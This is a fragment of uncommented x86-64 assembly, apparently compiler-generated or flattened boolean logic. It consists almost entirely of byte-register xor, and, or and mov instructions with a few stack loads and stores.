xor r9b, 1
or r9b, dl
and al, bl
mov edx, r8d
xor dl, cl
xor cl, 1
or cl, r8b
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor al, 1
mov ecx, r9d
xor cl, al
and al, r9b
or al, cl
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov r8d, edx
xor r8b, cl
and cl, r8b
and r8b, dl
mov edx, ecx
xor dl, 1
xor cl, r8b
xor r8b, 1
or r8b, dl
xor r8b, 1
or r8b, cl
mov ecx, r12d
movzx eax, byte [rsp + 0x32]
xor cl, al
mov edx, ecx
xor dl, 1
and dl, r12b
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor al, r14b
mov ecx, r12d
xor cl, dil
or dil, r12b
xor dil, 1
or dil, al
xor cl, 1
xor r12b, cl
and r12b, cl
xor dil, 1
xor r12b, dil
mov ecx, r12d
xor cl, 1
and cl, dil
mov ebx, ecx
and bl, r12b
xor cl, r12b
or cl, bl
mov r9d, edx
xor r9b, 1
mov eax, ecx
xor al, 1
xor dl, al
mov ebx, r9d
or bl, cl
xor bl, 1
or bl, dl
or al, r9b
xor cl, r9b
and cl, r9b
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, cl
xor cl, 1
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, cl
xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r10d, ebx
xor r10b, 1
xor cl, 1
mov edx, ebx
and dl, r10b
mov r9d, ebx
and r9b, dl
xor dl, bl
xor bl, cl
xor bl, 1
or r10b, cl
xor r10b, 1
or r10b, bl
or dl, r9b
xor dl, cl
mov ecx, r10d
xor cl, 1
mov eax, r10d
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
and al, cl
xor bl, 1
and bl, dl
or al, bl
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
or dl, al
xor dl, al
and al, dl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, r9d
or dl, al
mov ecx, eax
and cl, r9b
mov ebx, ecx
xor cl, al
xor bl, 1
or bl, r9b
xor bl, 1
or bl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor bl, 1
and bl, al
and cl, dl
or bl, cl
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
mov eax, ebx
xor al, dl
xor bl, 1
or bl, dl
xor al, 1
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
or al, bl
mov edx, ecx
xor dl, al
and dl, cl
mov ebx, eax
and al, cl
xor cl, 1
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r14d, r8d
xor r14b, al
mov r10d, eax
xor r10b, 1
mov edi, eax
or dil, r10b
mov r9d, edi
xor r9b, 1
mov r11d, r10d
and r11b, al
mov edx, r9d
and dl, dil
mov esi, eax
and sil, dil
xor dil, al
or al, r8b
xor r14b, 1
and r14b, r8b
mov ebx, eax
xor bl, r14b
xor r14b, 1
or r14b, al
xor bl, 1
xor r14b, 1
or r14b, bl
mov eax, r14d
xor al, r8b
or r14b, r8b
xor r14b, 1
or r14b, al
mov r15d, r8d
xor r15b, 1
mov ebx, r15d
and bl, r8b
mov ebp, r15d
xor bpl, bl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, bpl
or r15b, r8b
mov eax, r15d
xor al, 1
mov ecx, r15d
and cl, al
mov r8d, r15d
and r8b, cl
xor cl, r15b
or cl, r8b
xor cl, bl
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, r11d
and cl, r10b
xor r11b, r10b
or r11b, cl
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
mov ecx, r11d
xor cl, 1
and cl, dl
xor dl, 1
and dl, r11b
or dl, cl
or dil, sil
xor dl, 1
mov ecx, edx
xor cl, dil
or dl, dil
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
or al, cl
mov r9d, r14d
xor r9b, 1
mov ecx, r9d
or cl, r14b
mov r8d, ecx
xor r8b, 1
mov r11d, ebx
xor r11b, 1
and r8b, r9b
mov edx, ebx
and dl, r11b
mov r10d, edx
and r10b, bl
xor dl, bl
and bl, r9b
or r9b, cl
and cl, r14b
or cl, r8b
xor r9b, 1
mov r8d, r9d
and r8b, cl
xor cl, r9b
or cl, r8b
or dl, r10b
mov r8d, eax
xor r8b, 1
mov r9d, edx
xor r9b, 1
and r9b, r8b
and dl, al
or dl, r9b
mov r8d, r11d
and r8b, al
xor al, r11b
or al, r8b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, ecx
xor dl, al
and al, dl
and dl, cl
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, r14d
xor al, r11b
and al, r14b
and r11b, r14b
or r11b, bl
mov ecx, eax
xor cl, 1
xor al, r11b
xor r11b, 1
or r11b, cl
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, 1
mov ecx, edx
xor cl, r11b
and cl, dl
and r11b, dl
xor dl, 1
and dl, al
or r11b, dl
mov eax, ecx
xor al, 1
xor cl, r11b
xor r11b, 1
or r11b, al
xor r11b, 1
or r11b, cl
movzx r12d, byte [rsp + 0x4a]
mov r8d, r12d
xor r8b, 1
mov edi, r12d
and dil, r8b
mov edx, r8d
xor dl, dil
xor dil, 1
mov eax, r12d
or al, dil
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov r15d, r12d
or r15b, r8b
mov esi, r15d
xor sil, 1
mov ecx, eax
xor cl, r15b
and cl, al
and bl, sil
and al, r15b
or al, bl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
movzx edx, byte [rsp + 0x58]
mov r9d, edx
xor r9b, 1
mov ebx, edx
and bl, r9b
mov r10d, ebx
xor r10b, 1
mov ecx, r10d
and cl, dl
mov ebp, r10d
xor bpl, dl
mov r13d, edx
or cl, bpl
xor cl, 1
mov r14d, ebp
and r14b, cl
xor cl, bpl
or cl, r14b
mov edx, eax
xor dl, 1
mov ebp, ecx
xor bpl, 1
mov r14d, edx
and r14b, cl
and bpl, dl
xor dl, cl
or dl, r14b
and cl, al
or cl, bpl
mov ebp, edx
xor bpl, 1
mov eax, ecx
xor al, 1
mov r14d, ecx
and r14b, dl
or cl, bpl
and bpl, al
or bpl, r14b
xor al, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebp
and al, cl
xor cl, bpl
or cl, al
mov ebp, ecx
xor bpl, 1
or bpl, cl
mov edx, ecx
or dl, bpl
xor bpl, cl
mov ecx, edx
xor cl, bpl
xor bpl, 1
or bpl, dl
xor cl, 1
xor bpl, 1
or bpl, cl
mov ecx, ebp
xor cl, 1
and bpl, cl
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov ecx, r12d
or cl, r15b
and sil, r12b
and r15b, r8b
or r15b, sil
xor r15b, 1
mov edx, ecx
xor dl, r15b
or r15b, cl
xor r15b, 1
or r15b, dl
mov ecx, r15d
xor cl, 1
and cl, r15b
xor cl, 1
mov edx, r15d
xor dl, cl
or cl, r15b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov esi, ecx
and sil, dl
mov eax, esi
xor sil, cl
xor al, 1
or al, dl
xor al, 1
or al, sil
xor bl, r13b
or r10b, r9b
xor r10b, 1
or bl, r10b
mov esi, ebx
xor sil, 1
mov r10d, eax
and r10b, sil
xor al, 1
and al, bl
or al, r10b
mov r10d, r9d
and r10b, dl
xor dl, r9b
or dl, r10b
mov ecx, eax
xor cl, dl
xor al, 1
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and bl, sil
mov ecx, esi
and cl, bl
xor bl, sil
or bl, cl
mov ecx, r8d
xor cl, dil
or dil, r8b
xor dil, 1
or dil, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, edi
xor dl, 1
and dl, bl
xor bl, 1
and bl, dil
or bl, dl
mov edx, r12d
and dl, cl
xor cl, r12b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r8d, eax
xor r8b, 1
mov esi, eax
or sil, r8b
xor sil, 1
mov r9d, eax
and r9b, sil
xor sil, al
or sil, r9b
mov eax, edx
xor al, 1
mov r9d, edx
or r9b, al
xor r9b, 1
xor cl, r9b
mov r10d, ecx
and cl, r9b
xor r10b, 1
mov r9d, ecx
and r9b, r10b
xor cl, r10b
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, cl
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
xor bl, sil
xor al, r8b
and al, r8b
xor dl, r8b
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
xor al, 1
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov r8d, eax
xor al, 1
mov edx, ebp
xor dl, al
xor dl, 1
mov ebx, edx
and bl, bpl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor r8b, bpl
or al, r8b
or dl, bpl
mov r8d, edx
xor r8b, 1
and r8b, al
xor al, 1
mov ecx, eax
xor cl, dl
and cl, al
and dl, al
or dl, r8b
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ebp, edx
xor bpl, 1
mov r8d, ebx
and r8b, bpl
mov ecx, ebx
xor cl, bpl
or cl, r8b
and bpl, dl
mov r8d, ebp
and r8b, dl
xor bpl, dl
or bpl, r8b
xor bpl, bl
mov edx, ebp
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, bpl
and bl, cl
and bpl, cl
or bpl, dl
mov ecx, ebx
xor cl, 1
xor bl, bpl
xor bpl, 1
or bpl, cl
xor bpl, 1
or bpl, bl
mov edi, r11d
xor dil, 1
mov r10d, edi
and r10b, r11b
mov ecx, edi
and cl, r10b
mov r8d, edi
xor r8b, r10b
or cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov eax, edi
or al, r11b
mov r9d, eax
xor r9b, 1
mov edx, eax
and dl, r9b
xor al, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, ecx
xor al, r9b
or cl, r9b
xor cl, 1
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov esi, edx
xor sil, 1
mov ecx, edx
and cl, sil
mov ebx, ecx
xor bl, 1
mov r14d, ecx
and r14b, bl
mov eax, r14d
xor al, 1
xor r14b, cl
or al, bl
xor al, 1
or al, r14b
mov r14d, ecx
and r14b, dl
xor cl, dl
or cl, r14b
xor cl, al
mov eax, ebx
and al, sil
xor bl, sil
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov esi, ebp
xor sil, 1
mov r14d, esi
or r14b, bpl
mov eax, r14d
xor al, 1
mov edx, eax
xor dl, sil
and al, dl
mov ecx, eax
xor cl, dl
xor al, 1
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r15d, eax
and r15b, dl
xor dl, al
or dl, r15b
or al, bl
mov r15d, edx
xor r15b, 1
mov ebx, r15d
and bl, dl
xor bl, 1
mov r12d, edx
xor r12b, bl
or bl, dl
xor bl, 1
or bl, r12b
mov r12d, eax
xor r12b, 1
mov edx, ebx
and bl, r12b
xor dl, 1
and dl, al
or bl, dl
mov edx, r15d
and dl, al
xor al, r15b
or al, dl
mov edx, ebx
xor dl, al
xor bl, 1
or bl, al
xor dl, 1
xor bl, 1
or bl, dl
xor cl, 1
xor bl, 1
mov r12d, ecx
and r12b, bl
xor bl, cl
or r12b, bl
mov ecx, r12d
xor cl, 1
mov edx, ecx
and dl, r12b
mov r15d, edx
and r15b, cl
xor dl, cl
or dl, r15b
mov r13d, ebx
xor r13b, 1
mov r15d, ebx
and r15b, r13b
mov eax, r15d
xor al, 1
xor r15b, bl
or al, r13b
xor al, 1
or al, r15b
xor al, dl
xor r13b, r12b
or cl, bl
xor cl, 1
or cl, r13b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r15d, ecx
xor r15b, 1
mov eax, r15d
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
or r15b, cl
mov ecx, eax
xor cl, r15b
and cl, al
mov edx, r15d
and r15b, al
xor al, 1
xor dl, 1
and dl, al
or r15b, dl
mov eax, ecx
and al, r15b
xor r15b, cl
or r15b, al
mov eax, esi
xor al, r14b
xor al, 1
or r14b, bpl
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
mov ecx, eax
and cl, r14b
xor cl, 1
mov edx, ecx
xor dl, r14b
or cl, r14b
xor cl, 1
or cl, dl
or al, r14b
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
and bpl, sil
mov ecx, esi
and cl, bpl
xor bpl, sil
or bpl, cl
mov ecx, ebp
xor cl, 1
mov edx, ebp
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, edx
and cl, bpl
xor dl, bpl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
and bl, cl
or cl, al
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
and cl, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and dl, al
or dl, cl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor r10b, 1
or r10b, r11b
xor r10b, 1
or r10b, r8b
xor r9b, r10b
mov eax, r9d
xor al, 1
and al, r10b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov r8d, edx
xor r8b, 1
mov ecx, r8d
or cl, dl
mov ebx, edx
and bl, r8b
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
mov r9d, ecx
xor r9b, 1
mov edx, ebx
xor dl, 1
and dl, r9b
and bl, cl
or bl, dl
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
xor cl, 1
mov eax, edi
xor al, cl
xor al, 1
and al, dil
or dil, cl
xor dil, 1
mov edx, eax
and dl, dil
xor dil, al
or dil, dl
mov eax, r15d
xor al, 1
xor cl, dil
xor dil, cl
xor dil, 1
and dil, cl
mov r11d, eax
and r11b, r15b
mov ecx, eax
and cl, r11b
mov ebx, r15d
or bl, al
xor al, r11b
or al, cl
mov r10d, ebx
xor r10b, 1
mov ecx, ebx
and cl, r10b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
or r10b, al
xor al, 1
xor cl, al
xor al, bl
xor r10b, 1
or r10b, al
xor r10b, 1
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov r9d, edi
xor r9b, 1
mov r12d, r9d
and r12b, dil
mov ecx, r12d
xor cl, 1
mov r8d, r9d
xor r8b, r12b
or cl, dil
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov esi, edx
xor sil, al
xor al, 1
or al, cl
xor al, 1
or al, sil
mov ebp, edi
or bpl, r9b
xor al, bpl
mov esi, edx
and sil, bpl
xor bpl, dl
or bpl, sil
mov edx, eax
xor dl, 1
xor al, bpl
or bpl, dl
xor al, 1
xor bpl, 1
or bpl, al
and r12b, r9b
or r12b, r8b
mov r8d, r10d
xor r8b, 1
mov eax, r8d
xor al, r10b
mov edx, eax
xor dl, r8b
and dl, al
xor r11b, 1
or r11b, r15b
mov r9d, ebp
xor r9b, 1
mov eax, r9d
and al, bpl
mov esi, r9d
and sil, al
xor al, r9b
or al, sil
mov esi, eax
xor sil, 1
mov ecx, esi
and cl, al
mov r14d, ecx
xor cl, al
xor r14b, 1
or r14b, sil
xor r14b, 1
or r14b, cl
xor r12b, 1
xor dil, r12b
xor r12b, dil
and r12b, dil
mov esi, r11d
xor sil, 1
mov ecx, edx
xor cl, 1
and r11b, cl
and dl, sil
or dl, r11b
mov eax, esi
xor al, cl
xor dl, 1
or dl, cl
xor al, 1
and al, sil
or cl, sil
xor cl, 1
mov r11d, eax
and r11b, cl
xor cl, al
or cl, r11b
mov edi, ecx
xor dil, 1
mov ebx, ecx
and bl, dil
mov r11d, ebx
and r11b, cl
xor bl, cl
or bl, r11b
xor bl, dl
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
mov ecx, ebx
xor cl, dil
or dil, bl
xor dil, 1
or dil, cl
mov esi, r14d
xor sil, 1
mov edx, r14d
xor dl, r12b
xor dl, 1
mov ebx, r12d
xor bl, sil
or sil, r12b
xor sil, 1
or sil, dl
and bl, r12b
or r12b, r14b
xor bl, 1
mov edx, ebx
xor dl, r12b
or bl, r12b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
mov r11d, ebx
and r11b, dl
mov ecx, r11d
xor r11b, bl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
xor cl, sil
mov ebx, esi
and bl, dl
xor dl, sil
or dl, bl
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edi
xor cl, 1
or cl, dil
xor cl, 1
xor dil, cl
mov eax, edi
xor al, 1
and al, cl
mov ecx, eax
and cl, dil
xor al, dil
or al, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
or cl, dl
xor dl, cl
or cl, bl
xor dl, 1
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
xor dl, 1
and dl, cl
or al, cl
mov ecx, edx
xor cl, al
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov eax, r8d
and al, r9b
xor r8b, r9b
or r8b, al
mov eax, ebp
xor al, r10b
and bpl, al
and al, r10b
mov ecx, ebp
xor cl, 1
xor bpl, al
xor al, 1
or al, cl
xor al, 1
or al, bpl
xor al, 1
mov ecx, r8d
or cl, al
xor cl, 1
xor al, r8b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
and al, 1
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, al
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor bl, 1
mov ecx, edx
xor cl, bl
mov r8d, edx
xor r8b, 1
mov eax, ebx
xor al, r8b
xor al, 1
and al, bl
or r8b, cl
and cl, dl
mov ebx, eax
and bl, cl
xor cl, al
mov edx, r8d
xor dl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, r8b
or cl, dl
and dl, bl
or dl, al
xor bl, r8b
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov byte [rsp + 0x58], cl
movzx edx, byte [rsp + 0x5c]
mov eax, edx
movzx ebx, byte [rsp + 0x54]
xor al, bl
mov ecx, eax
and cl, dl
mov r8d, edx
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
movzx esi, byte [rsp + 0x34]
xor bl, sil
or bl, r8b
mov ecx, ebx
xor cl, 1
mov edx, ecx
xor dl, r9b
and bl, r9b
and al, cl
or al, bl
mov ebx, eax
xor bl, r9b
and bl, al
xor dl, 1
and dl, cl
or cl, r9b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
mov eax, ebx
or al, dl
xor dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov edi, edx
movzx edx, byte [rsp + 0x4f]
xor dl, 1
movzx r13d, byte [rsp + 0x4b]
and dl, r13b
or dl, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x4d]
or cl, byte [rsp + 0x4c]
mov eax, edx
xor al, cl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov r9d, eax
xor r9b, 1
movzx ecx, byte [rsp + 0x50]
mov ebx, ecx
xor bl, 1
mov edx, ebx
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov r8d, edx
and r8b, al
mov ecx, r9d
and cl, bl
or cl, r8b
xor al, cl
and al, cl
or dl, r9b
xor dl, 1
xor bl, r9b
and bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
xor cl, 1
and dl, al
or dl, bl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
or al, bl
xor bl, al
or al, dl
xor al, 1
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r11d, edi
xor r11b, 1
mov r10d, edi
xor r10b, r11b
mov eax, edi
and al, r11b
mov r12d, eax
xor al, r11b
mov byte [rsp + 0x54], al
or r11b, dil
xor r11b, 1
and r10b, dil
mov byte [rsp + 0x5c], dil
xor r10b, r11b
xor r10b, 1
and r11b, r10b
xor r11b, 1
mov eax, r11d
xor al, r10b
or r11b, r10b
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, 1
mov r14d, eax
and r14b, r11b
xor r14b, 1
mov ecx, r11d
xor cl, r14b
or r14b, r11b
xor r14b, 1
or r14b, cl
xor r14b, dil
xor r14b, 1
mov ecx, r14d
and cl, al
xor r14b, al
or r14b, cl
mov ebp, r14d
xor bpl, 1
movzx ecx, byte [rsp + 0x40]
or cl, sil
mov eax, ecx
movzx edx, byte [rsp + 0x44]
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
mov edx, eax
xor dl, cl
mov r8d, edx
xor r8b, 1
or cl, al
xor cl, 1
or cl, dl
xor dl, cl
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r10d, ecx
xor r10b, 1
and r10b, cl
xor r10b, 1
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov r15d, r10d
xor r15b, 1
mov byte [rsp + 0x38], bl
mov ecx, ebx
xor cl, 1
mov eax, ebx
xor al, cl
mov byte [rsp + 0x34], cl
and al, bl
mov edi, eax
xor dil, 1
or dil, al
xor dil, 1
mov edx, eax
and dl, dil
xor dil, al
or dil, dl
mov eax, edi
xor al, 1
xor dil, cl
xor dil, 1
mov edx, edi
and dl, al
xor dil, al
or dil, dl
movzx edx, byte [rsp + 0x3f]
mov eax, edx
mov ecx, r13d
xor al, r13b
or cl, dl
xor cl, 1
or cl, al
movzx edx, byte [rsp + 0x33]
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
xor dl, al
and dl, cl
and cl, al
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
or dl, al
mov ebx, edx
xor bl, 1
and al, cl
and bl, dl
mov esi, ecx
and sil, al
xor al, cl
or al, sil
mov esi, edx
and sil, bl
xor bl, dl
or bl, sil
xor bl, al
mov esi, ebx
xor sil, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor bl, dl
xor bl, 1
or dl, sil
xor dl, 1
or dl, bl
mov ebx, r14d
and bl, bpl
mov eax, r14d
mov r13d, ebp
or r13b, r14b
xor bpl, r14b
and r14b, bl
xor al, bl
or al, r14b
mov esi, eax
xor sil, 1
mov r14d, eax
and r14b, sil
mov ecx, r14d
and cl, al
xor r14b, al
mov eax, r13d
xor al, 1
or r14b, cl
mov ecx, r14d
xor cl, 1
and cl, al
and r14b, r13b
or r14b, cl
mov eax, esi
and al, r13b
xor r13b, sil
or r13b, al
xor r13b, 1
mov eax, r14d
and al, r13b
xor r13b, r14b
or r13b, al
mov esi, r13d
xor sil, 1
mov eax, r10d
and al, r15b
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov r8d, esi
or r8b, r13b
mov r14d, r13d
xor r14b, r8b
or r8b, r13b
xor r8b, 1
or r8b, r14b
or bpl, bl
mov r14d, ebp
xor r14b, 1
mov ebx, r14d
and bl, bpl
xor r14b, bl
xor bl, 1
or bl, bpl
xor bl, 1
or bl, r14b
mov r14d, r15d
xor r14b, 1
mov ebp, r14d
and bpl, r15b
xor bpl, 1
mov r11d, r15d
xor r11b, bpl
or bpl, r15b
xor bpl, 1
or bpl, r11b
mov r11d, ebp
xor r11b, 1
xor bpl, r14b
or r11b, r15b
xor r11b, 1
or r11b, bpl
xor al, 1
or al, r10b
mov ecx, r11d
xor cl, 1
mov ebp, eax
xor bpl, 1
and bpl, cl
mov r10d, r8d
xor r10b, 1
mov ecx, r8d
xor cl, bl
xor r8b, cl
and r8b, cl
xor cl, 1
and cl, bl
xor bl, r10b
and bl, r10b
mov r10d, ecx
and r10b, bl
xor bl, cl
or bl, r10b
mov ecx, r8d
xor cl, 1
and cl, r8b
mov r10d, ecx
and r10b, r8b
xor cl, r8b
or cl, r10b
mov r10d, ebx
xor r10b, 1
and r10b, bl
mov r9d, r10d
and r9b, bl
xor r10b, bl
or r10b, r9b
mov r9d, ecx
xor r9b, 1
and r9b, r10b
xor r10b, 1
and r10b, cl
or r10b, r9b
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, r10d
xor cl, bl
xor r10b, 1
or r10b, bl
xor cl, 1
xor r10b, 1
or r10b, cl
mov ecx, eax
and cl, r11b
or cl, bpl
mov ebx, ecx
xor bl, r11b
and bl, cl
xor al, r11b
mov r8d, ebx
xor r8b, 1
and r8b, al
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, r8b
xor cl, 1
xor al, 1
